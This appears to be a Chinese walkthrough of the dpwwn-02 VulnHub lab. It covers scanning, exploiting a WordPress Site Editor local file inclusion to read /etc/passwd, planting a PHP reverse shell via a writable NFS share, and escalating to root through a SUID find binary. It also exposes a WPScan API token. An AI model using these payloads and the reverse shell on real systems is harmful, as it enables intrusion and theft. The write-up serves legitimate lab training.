dpwwn02靶场

靶机下载地址:https://download.vulnhub.com/dpwwn/dpwwn-02.zip

信息收集

ip add 查看kali Linux虚拟机的IP为:10.10.10.128

https://vulnhub.com/entry/dpwwn-2,343/中查看靶机的信息,IP固定为10.10.10.10

所以kali Linux添加仅主机网卡设置网段为10.10.10.0/24,靶机也设置网卡为仅主机,同样的网段

虽然已知了靶机的IP为10.10.10.10,但是可以使用命令进行扫描:

netdiscover -i eth1 -r 10.10.10.0/24

netdiscover -i eth1 -r 10.10.10.0/24 是一条用来扫描局域网内活动设备的命令,具体解释如下:netdiscover:这是一个网络发现工具,用于扫描本地网络中的活跃设备,显示其 IP 地址和 MAC 地址。它是通过 ARP 请求来发现设备的。-i eth1:指定要使用的网络接口,这里是 eth1,通常指的是系统中的第二个以太网接口。如果你要在其他接口上扫描网络,应该相应地替换为正确的接口名(例如 eth0 或 wlan0)。-r 10.10.10.0/24:指定扫描的 IP 地址范围。10.10.10.0/24 表示扫描 10.10.10.0 到 10.10.10.255 这个网段内的所有 IP 地址,即该子网内的所有设备。

扫描其开放的端口和服务

nmap -sS -sV -A -T4 -p- 10.10.10.10

nmap -sS -sV -A -T4 -p- 10.10.10.10 是一条复杂的 nmap 扫描命令,包含多个选项,用于对目标 IP 地址 10.10.10.10 进行详细的扫描。下面是每个选项的解释:1. -sS(TCP SYN Scan)
这是一个 SYN 扫描,也叫 半开放扫描。nmap 会发送一个 SYN 包来初始化 TCP 连接,然后根据目标主机的响应来判断端口的开放状态。
如果目标返回 SYN-ACK,端口开放;如果返回 RST,端口关闭。
这种扫描方式不会完全建立连接,因此较难被检测到。
2. -sV(Service Version Detection)
启用 服务版本检测,即除了扫描开放端口外,nmap 还会尝试检测这些端口上运行的服务和软件的版本信息。这可以帮助你了解目标主机上运行的具体服务类型(例如:HTTP 服务器、FTP 服务器等)及其版本。
3. -A(Aggressive Scan)
这是一个 激进扫描,它会启用多个高级功能,包括:
操作系统检测:检测目标主机运行的操作系统。
版本检测:类似于 -sV,进一步检查服务的版本。
脚本扫描:执行一些 NSE(Nmap Scripting Engine)脚本,用于发现常见的漏洞或提供额外的信息。
Traceroute:追踪到目标主机的网络路径。
总体上,-A 提供了一个详细且全面的扫描,但也会更加容易被目标检测到。
4. -T4(Timing Template)
设置 扫描的速度和精确度。-T4 表示使用一个相对较快的扫描速度,但不至于太快以至于丢失大量数据。它通常用于在较短时间内完成扫描,但会增加目标检测到扫描的概率。
-T0:最慢、最隐蔽
-T5:最快、最可能被检测到
5. -p-(Scan All Ports)
该选项让 nmap 扫描目标主机的 所有 65535 个端口(从 1 到 65535)。如果没有使用 -p 指定端口,nmap 默认只扫描 1-1024 端口。
6. 10.10.10.10(目标 IP)
目标主机的 IP 地址。此命令会扫描 10.10.10.10 这个 IP 地址上的所有端口,并进行详细分析。
总结:
这条命令将对目标 IP 地址 10.10.10.10 执行以下操作:执行 TCP SYN 扫描(-sS)来检查开放的端口。
检测目标主机上运行的 服务版本(-sV)。
进行 操作系统检测、脚本扫描、版本扫描 等高级操作(-A)。
设置较高的扫描速度(-T4),使得扫描更快速但仍然保持一定的隐蔽性。
扫描 所有 65535 个端口(-p-)。

得到主要信息:

PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.38 ((Ubuntu))
|_http-title: dpwwn-02
|_http-server-header: Apache/2.4.38 (Ubuntu)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      45541/tcp   mountd
|   100005  1,2,3      46796/udp   mountd
|   100005  1,2,3      51765/tcp6  mountd
|   100005  1,2,3      58738/udp6  mountd
|   100021  1,3,4      34787/tcp   nlockmgr
|   100021  1,3,4      38633/tcp6  nlockmgr
|   100021  1,3,4      46788/udp   nlockmgr
|   100021  1,3,4      53610/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
443/tcp   open  http     Apache httpd 2.4.38 ((Ubuntu))
|_http-server-header: Apache/2.4.38 (Ubuntu)
|_http-title: dpwwn-02
2049/tcp  open  nfs      3-4 (RPC #100003)
34787/tcp open  nlockmgr 1-4 (RPC #100021)
44135/tcp open  mountd   1-3 (RPC #100005)
45541/tcp open  mountd   1-3 (RPC #100005)
50517/tcp open  mountd   1-3 (RPC #100005)

服务:

rpcbind,也叫 **portmap**,它是一个用于 **远程过程调用(RPC)** 服务的绑定工具NFS(Network File System)是一种常见的网络文件共享协议,允许在网络上的计算机之间共享文件夹和目录mountd(`44135/tcp`, `45541/tcp`, `50517/tcp`)**:目标主机运行了多个 `mountd` 服务实例,用于处理客户端的挂载请求。每个 `mountd` 服务都监听不同的端口。

遍历子目录

dirb http://10.10.10.10

得到主要访问的URL:http://10.10.10.10/wordpress/

没错得到了wordpress

使用wpscan扫描器进行扫描漏洞

wpscan -url http://10.10.10.10/wordpress

1. wpscan:
wpscan 是一个专门用于扫描和审计 WordPress 网站的工具,常用于渗透测试和安全评估。
它可以帮助检测 WordPress 网站的漏洞、已安装的插件、主题、用户信息等安全相关信息。
2. -url:
-url 参数后面跟随的是要扫描的 WordPress 网站的 URL。你提供的 URL 是 http://10.10.10.10/wordpress,这表示你要扫描的目标网站地址是 http://10.10.10.10/wordpress。
注意,如果该 URL 是一个子目录,wpscan 会从这个路径开始扫描。
3. http://10.10.10.10/wordpress:
这是目标 WordPress 网站的 URL,10.10.10.10 是目标服务器的 IP 地址,/wordpress 是 WordPress 安装所在的子目录。

出现了错误: Scan Aborted: Unable to get https://data.wpscan.org/metadata.json.sha512 (Couldn’t resolve host name)

No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

需要api-token

这里直接上https://wpscan.com/register进行注册
我这里直接提供api-token:nLhs3sSQHXVFWSVykLmtKR5wLM3dqHKUysVtwQmX2t0

执行命令:

wpscan --url http://10.10.10.10/wordpress/ --api-token nLhs3sSQHXVFWSVykLmtKR5wLM3dqHKUysVtwQmX2t0

得到漏洞:本地文件包含

 [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)

本地文件包含:

"本地文件包含"(Local File Inclusion, LFI)漏洞是常见的Web安全问题,通过它,攻击者可以利用受漏洞影响的应用程序访问服务器上的文件。这里可以直接通过发送http请求获取文件

漏洞利用

检索漏洞

根据得到的 [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)信息得到:

Site Editor应该是一个插件或是软件,1.1.1是他的版本号

直接使用命令进行检索:

searchsploit Site Editor 1.1.1

得到:

\------------------------------------------------------------------ ---------------------------------Exploit Title                                                    |  Path
------------------------------------------------------------------ ---------------------------------
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent | php/webapps/25493.txt
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion         | php/webapps/44340.txt

继续检索:

**searchsploit -m php/webapps/44340.txt **

cat 44340.txt

发现Poc

查看文本文件得到:

** Proof of Concept **
http:///wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?
ajax_path=/etc/passwd
PoC(Proof of Concept)是漏洞利用的“概念验证”,用于展示漏洞是否存在以及如何利用它。它通常是一个简化的例子,表明漏洞的有效性

这里的漏洞是 本地文件包含漏洞,我们可以根据得到的Poc进行发送http请求,得到我们想要的信息

利用Poc

curl http://10.10.10.10/wordpress/wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

这样就可以成功访问到/etc/passwd文件!由于之前我们看到了NFS服务,我们可以在dpwwn的家目录下面写文件,然后进行包含

查看靶机共享文件夹的路径

showmount --exports 10.10.10.10

挂载共享文件夹到kali

mkdir dpwwn02

mount -t nfs 10.10.10.10:/home/dpwwn02 --target dpwwn02

mount:这是挂载命令,用于将文件系统连接到本地的挂载点。-t nfs:指定文件系统的类型为 NFS(网络文件系统)。NFS允许通过网络访问远程文件系统。10.10.10.10:/home/dpwwn02:10.10.10.10 是远程服务器的IP地址。
/home/dpwwn02 是在该远程服务器上导出的NFS共享目录。
--target dpwwn02:--target 参数(等效于旧的 -o 或直接写挂载点)指定本地系统上的挂载点。
dpwwn02 是本地路径,表示将远程目录挂载到本地目录名为 dpwwn02 的地方(例如 /mnt/dpwwn02 或当前工作目录中的 dpwwn02)。

df

显示文件系统的磁盘使用情况

挂载点dpwwn02上创建shell.php文件

<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"');?>

获得shell

开启监听

nc -lvp 4444

使用curl发送http请求,获取响应,反弹shell

curl http:/10.10.10.10/wordpress/wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?
ajax_path=/home/dpwwn02/shell.php

成功收到shell~ 权限是www-data权限

id

whoami

pwd

权限提升

检查特殊权限

find / -perm -u=s -type f 2>/dev/null

find /:
find 命令从指定目录开始查找,这里是根目录 /,表示从整个文件系统中查找文件。-perm -u=s:
查找设置了 SUID 位的文件。SUID(Set User ID) 是一种特殊权限,允许普通用户以文件所有者的权限运行该程序。例如,passwd 命令就需要以超级用户权限修改系统的 /etc/shadow 文件。
-type f:
仅查找文件类型为普通文件(f 表示 file)。2>/dev/null:
将错误输出(如权限不足导致的错误)重定向到 /dev/null,即忽略错误消息,避免在查找过程中打印大量不必要的权限错误信息。

发现了重要信息:

find设置了suid

shell升级

find . -exec /bin/sh -p ; -quit

find .:表示从当前目录 . 开始搜索文件或目录。
实际上,这里并不需要找到具体的文件,因为目标是利用 find 的执行功能。
-exec /bin/sh -p \;:-exec:find 的参数,用于执行指定命令。
/bin/sh:启动一个 shell,这里选择了 sh。
-p:这个参数让 sh 保留调用者的 SUID 权限。如果 find 被设置了 SUID 且以 root 所有者身份运行,则这个 shell 将以 root 权限启动。
\;:是 find 的语法,用于标记 -exec 命令的结束。
-quit:一旦找到一个结果,find 将立即退出。
在这种情况下,-quit 提高了效率,因为目标是直接启动特权 shell,而不是遍历所有文件。

拿到root权限了

id

whoami

pwd

确认是root权限了

获得flag

cd /root

cat dpwwn-02-FLAG.txt

Congratulation! You PWN this dpwwn-02. Hope you enjoy this boot to root CTF.
Thank you. 46617323 
24337873 
4b4d6f6f 
72643234 
40323564 
4e443462 
36312a23 
26724a6d 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/482680.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Git 操作】-- 将 fork master 分支的最新commit更新到自己的仓库

目录 1.举例 2. 配置上游仓库&#xff08;Upstream&#xff09; 3. 获取上游仓库的更新 4. 切换到你自己的 master 分支 5. 合并上游仓库的 master 分支 6. 解决冲突&#xff08;如果有的话&#xff09; 7. 推送更新到你自己的 GitHub 仓库 1.举例 当我们从 github 的 h…

Facebook的开源项目解析:推动开发者社区的技术进步

Facebook&#xff0c;作为全球领先的社交平台之一&#xff0c;其在技术领域的创新不仅体现在产品功能的实现上&#xff0c;也积极推动开源社区的发展。开源项目已经成为Facebook技术战略的重要组成部分&#xff0c;通过开源&#xff0c;Facebook不仅加速了技术进步&#xff0c;…

荣耀300系列革新发布:科技与美学的里程碑之作

2024年12月2日&#xff0c;全新一代荣耀300系列正式发布&#xff0c;新潮的环球旅拍发布会不仅展现了荣耀追求极致的创新理念&#xff0c;也标志着数字系列迎来科技体验以及美学设计的巨大升级。凭借荣耀领先行业的AI能力以及对底层科技创新的强大驱动&#xff0c;全新荣耀300系…

centos 7 离线安装postgis插件

前一段时间记录了下如何在centos7中离线安装postgresql&#xff0c;因为工作需要&#xff0c;我不仅要安装postgresql&#xff0c;还需要安装postgis插件&#xff0c;这篇文章记录下postgis插件的安装过程。 1. 安装前的参考 如下的链接都是官网上的链接&#xff0c;对你安装p…

ChatGPT/AI辅助网络安全运营之-数据解压缩

在网络安全的世界中&#xff0c;经常会遇到各种压缩的数据&#xff0c;比如zip压缩&#xff0c;比如bzip2压缩&#xff0c;gzip压缩&#xff0c;xz压缩&#xff0c;7z压缩等。网络安全运营中需要对这些不同的压缩数据进行解压缩&#xff0c;解读其本意&#xff0c;本文将探索一…

kube-proxy的iptables工作模式分析

系列文章目录 iptables基础知识 文章目录 系列文章目录前言一、kube-proxy介绍1、kube-proxy三种工作模式2、iptables中k8s相关的链 二、kube-proxy的iptables模式剖析1.集群内部通过clusterIP访问到pod的流程1.1.流程分析 2.从外部访问内部service clusterIP后端pod的流程2.1…

【Linux】文件操作的艺术——从基础到精通

&#x1f3ac; 个人主页&#xff1a;谁在夜里看海. &#x1f4d6; 个人专栏&#xff1a;《C系列》《Linux系列》《算法系列》 ⛰️ 道阻且长&#xff0c;行则将至 目录 &#x1f4da;前言&#xff1a;一切皆文件 &#x1f4da;一、C语言的文件接口 &#x1f4d6;1.文件打…

AI 声音:数字音频、语音识别、TTS 简介与使用示例

在现代 AI 技术的推动下&#xff0c;声音处理领域取得了巨大进展。从语音识别&#xff08;ASR&#xff09;到文本转语音&#xff08;TTS&#xff09;&#xff0c;再到个性化声音克隆&#xff0c;这些技术已经深入到我们的日常生活中&#xff1a;语音助手、自动字幕生成、语音导…

IDEA连接Apifox客户端

IDEA连接Apifox客户端 一、下载Apifox安装包二、IDEA配置三、配置Apifox和IDEA项目同步 一、下载Apifox安装包 Apifox官网&#xff0c;根据自己的操作系统下载对应的Apifox安装包&#xff0c;我是windows系统所以下载的是windows版。 下载 默认仅为我安装&#xff0c;点击下一…

Vue3 脚手架扩展

当 yarn dev 运行成功后&#xff0c;我们继续添加扩展 首先我们要安装一些依赖 其中的vue-router和vuex安装最新版的就行&#xff0c;因为项目是vue3 element-plus和less&#xff0c;less-loader最好按照我这个版本来下载 element-plus是一个vue常用的ui组件库 element-plus/…

STM32 ADC模数转换器原理及单通道多通道测量电压模板代码

ADC简介&#xff1a; &#xff08;主要用来测电压&#xff09; 1us转换时间&#xff08;最大支持1MHZ的信号转换&#xff09; 12位&#xff08;0~4095&#xff09;就是分辨率 通过ADC0809外挂芯片来理解STM32中的ADC&#xff1a; 地址锁存和译码是用来选择通路的&#xff0c;…

Android矩阵Matrix实现Glide图像fitCenter转换为centerCrop,Kotlin

Android矩阵Matrix实现Glide图像fitCenter转换为centerCrop&#xff0c;Kotlin <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"xmlns:tools"http://schemas.a…

电子电气架构 -- 新的架构带来的软件革命

我是穿拖鞋的汉子&#xff0c;魔都中坚持长期主义的汽车电子工程师。 老规矩&#xff0c;分享一段喜欢的文字&#xff0c;避免自己成为高知识低文化的工程师&#xff1a; 所谓鸡汤&#xff0c;要么蛊惑你认命&#xff0c;要么怂恿你拼命&#xff0c;但都是回避问题的根源&…

后端 Java发送邮件 JavaMail 模版 20241128测试可用

配置授权码 依赖 <dependency><groupId>javax.mail</groupId><artifactId>javax.mail-api</artifactId><version>1.5.5</version> </dependency> <dependency><groupId>com.sun.mail</groupId><artifa…

【零基础学习UDS诊断测试】——0x10测试用例设计

从0开始学习CANoe使用 从0开始学习车载测试 相信时间的力量 星光不负赶路者,时光不负有心人。 目录 1.概述 2.三个会话介绍 3.会话切换逻辑 4.会话响应格式 5.解析测试点 5.1. 0x10 5.1.1 具体用例设计 5.1.1.1 NRC否定响应码 6.详细用例展示 1.概述 主要基于诊断调查表介…

【Robocasa】Code Review

文章目录 OverviewalgoInitializationImportant Class MethodsTrain LoopTest Time ConfigsdemoConfig FactoryConfig StructureConfig Locking默认锁定状态配置修改的上下文管理器 dataset示例数据集对象参数说明 model基础模块EncoderCoreVisualCoreScanCore随机化器 (Random…

阅读笔记--知识蒸馏

1.一些基本概念 教师模型&#xff08;Teacher Model&#xff09;&#xff1a;预训练复杂神经网络&#xff0c;高精度&#xff0c;计算存储开销大。学生模型&#xff08;Student Model&#xff09;&#xff1a;简单参数少推理快的模型&#xff0c;目标从教师模型获取知识&#…

【Maven Helper】分析依赖冲突案例

目录 Maven Helper实际案例java文件pom.xml文件运行抛出异常分析 参考资料 《咏鹅》骆宾王 鹅&#xff0c;鹅&#xff0c;鹅&#xff0c;曲项向天歌。 白毛浮绿水&#xff0c;红掌拨清波。 骆宾王是在自己7岁的时候就写下了这首杂言 Maven Helper A must have plugin for wor…

一些基于宏基因组的巨型病毒研究

Introduction 上次已经介绍了巨型病毒的一些基本内容&#xff0c;也讲到了不依赖培养的方法是从环境样本中发现巨型病毒基因组成的不可或缺的工具。可以通过基因组解析宏基因组学来从环境序列数据中获取 NCLDV 基因组并进行深入研究如功能基因&#xff0c;宿主&#xff0c;进化…

李宏毅深度强化学习入门笔记:Actor-Critic

李宏毅-深度强化学习-入门笔记&#xff1a;Actor-Critic 一、深度强化学习简介二、Policy-based 方法&#xff08;一&#xff09;学习一个 Actor&#xff08;二&#xff09;Deep Learning 的 3 个步骤1. 确定 Function&#xff1a;作为 Actor 的神经网络2. 确定 Actor 的好坏3.…